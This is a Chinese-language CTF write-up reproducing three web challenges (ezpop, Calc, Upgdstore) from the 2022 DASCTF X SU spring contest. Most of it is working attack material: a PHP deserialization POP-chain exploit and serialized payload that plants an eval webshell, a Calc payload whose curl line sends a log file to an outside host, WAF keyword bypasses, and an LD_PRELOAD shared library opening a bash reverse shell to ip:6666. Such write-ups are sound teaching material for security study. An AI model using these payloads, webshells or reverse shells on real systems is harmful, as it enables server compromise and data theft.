2022DASCTF X SU 三月春季挑战赛 web复现

目录

ezpop

Calc：

Upgdstore：

---

ezpop

<?php

class crow
{
    public $v1;
    public $v2;

    function eval() {
        echo new $this->v1($this->v2);
    }

    public function __invoke()
    {
        $this->v1->world();
    }
}

class fin
{
    public $f1;

    public function __destruct()
    {
        echo $this->f1 . '114514';
    }

    public function run()
    {
        ($this->f1)();
    }

    public function __call($a, $b)
    {
        echo $this->f1->get_flag();
    }

}

class what
{
    public $a;

    public function __toString()
    {
        $this->a->run();
        return 'hello';
    }
}
class mix
{
    public $m1;

    public function run()
    {
        ($this->m1)();
    }

    public function get_flag()
    {
        eval('#' . $this->m1);
    }

}

if (isset($_POST['cmd'])) {
    unserialize($_POST['cmd']);
} else {
    highlight_file(__FILE__);
}

反序列化，修改crow中v1的值，利用crow中的eval跳到mix中，利用eval函数来执行命令。

利用链：

fin::__destruct->what::__toString->fin::_run->crow::__invoke->fin::_call->mix::get_flag

Exp：

<?php



class crow

{

    public $v1;

    public $v2;

    public function __construct()

    {

        $this->v1=new fin();

        $this->v1->f1=new mix();

        $this->v1->f1->m1="?><?=eval(\$_POST[1]);";

    }

}



class fin

{

    public $f1;

    public function __construct()

    {

        $f1=$this->f1;

    }



}



class what

{

    public $a;



    public function __construct()

    {

        $this->a=new fin();

        $this->a->f1=new crow();

    }

}

class mix

{

    public $m1;



    public function __construct()

    {

        $m1=$this->m1;

    }



}

$a=new fin();

$a->f1=new what();

echo serialize($a);

payload：（蚁剑的密码）

cmd=O:3:"fin":1:{s:2:"f1";O:4:"what":1:{s:1:"a";O:3:"fin":1:{s:2:"f1";O:4:"crow":2:{s:2:"v1";O:3:"fin":1:{s:2:"f1";O:3:"mix":1:{s:2:"m1";s:21:"?><?=eval($_POST[1]);";}}s:2:"v2";N;}}}}&1

然后cat找flag即可。

Calc：

源码：

#coding=utf-8

from flask import Flask,render_template,url_for,render_template_string,redirect,request,current_app,session,abort,send_from_directory

import random

from urllib import parse

import os

from werkzeug.utils import secure_filename

import time



app=Flask(__name__)



def waf(s):

    blacklist = ['import','(',')',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']

    flag = True

    for no in blacklist:

        if no.lower() in s.lower():

            flag= False

            print(no)

            break

    return flag

   



@app.route("/")

def index():

    "欢迎来到SUctf2022"

    return render_template("index.html")



@app.route("/calc",methods=['GET'])

def calc():

    ip = request.remote_addr

    num = request.values.get("num")

    log = "echo {0} {1} {2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)

   

    if waf(num):

        try:

            data = eval(num)

            os.system(log)

        except:

            pass

        return str(data)

    else:

        return "waf!!"



if __name__ == "__main__":

app.run(host='0.0.0.0',port=5000)

 提交时会请求/calc路由并提交num参数，源码中当访问calc路由后会进入calc函数，接收num参数，拼接到log里面，再经过waf函数，没有被过滤会先执行eval，然后执行system函数。

Waf中过滤了括号，但没有禁用反引号，所以可以执行system函数。

Payload：

?num=1%23curl%09-X%09GET%09-F%09xx=@tmp/log.txt%09http://ip:6666/%23ls

?num=1%23curl%09-X%09GET%09-F%09xx=@tmp/log.txt%09http://ip:6666/%23cat%09Th1s*

Upgdstore：

过滤了一大堆函数，只有少数几个可以用。

base64_decode没有被过滤，可以利用show_source查看源码。

<?php

base64_decode("c2hvd19zb3VyY2U=")("index.php");



得到源码：

<div class="light"><span class="glow">
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
    嘿伙计，传个火？！
    <input class="input_file" type="file" name="upload_file"/>
    <input class="button" type="submit" name="submit" value="upload"/>
</form>
</span><span class="flare"></span><div>
<?php
function fun($var): bool{
    $blacklist = ["\$_", "eval","copy" ,"assert","usort","include", "require", "$", "^", "~", "-", "%", "*","file","fopen","fwriter","fput","copy","curl","fread","fget","function_exists","dl","putenv","system","exec","shell_exec","passthru","proc_open","proc_close", "proc_get_status","checkdnsrr","getmxrr","getservbyname","getservbyport", "syslog","popen","show_source","highlight_file","`","chmod"];

    foreach($blacklist as $blackword){
        if(strstr($var, $blackword)) return True;
    }

    
    return False;
}
error_reporting(0);
//设置上传目录
define("UPLOAD_PATH", "./uploads");
$msg = "Upload Success!";
if (isset($_POST['submit'])) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_name = $_FILES['upload_file']['name'];
$ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!preg_match("/php/i", strtolower($ext))){
die("只要好看的php");
}

$content = file_get_contents($temp_file);
if(fun($content)){
    die("诶，被我发现了吧");
}
$new_file_name = md5($file_name).".".$ext;
        $img_path = UPLOAD_PATH . '/' . $new_file_name;


        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = 'Upload Failed!';
            die();
        }
        echo '<div style="color:#F00">'.$msg." Look here~ ".$img_path."</div>";
}

strstr()函数对大小写敏感，可以利用大小写绕过waf。

利用base64先上传一句话木马。

<?php @eval($_POST['a']);?>

#f82ffc0257783176e9c79a42e32657d0.php

再上传一个php文件使用include来包含刚刚的一句话，利用伪协议对base64进行解码。

cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0uL2Y4MmZmYzAyNTc3ODMxNzZlOWM3OWE0MmUzMjY1N2QwLnBocA==

<?php

Include(base64_decode("cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWRlY29kZS9yZXNvdXJjZT0uL2Y4MmZmYzAyNTc3ODMxNzZlOWM3OWE0MmUzMjY1N2QwLnBocA=="));

之后上传上传exp.c和gconv-modules

构造恶意的exp.c

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

void payload()

{

       system("bash -c 'exec bash -i &>/dev/tcp/ip/6666 <&1'");

}

int geteuid()

{

       if (getenv("LD_PRELOAD") == NULL)

       {

              return 0;

       }

       unsetenv("LD_PRELOAD");

       payload();

}

然后编译成so文件。

利用move_uploaded_file进行文件上传

然后访问反弹shell。

a=putenv("LD_PRELOAD=/var/www/html/uploads/exp.so");mail("","","","","");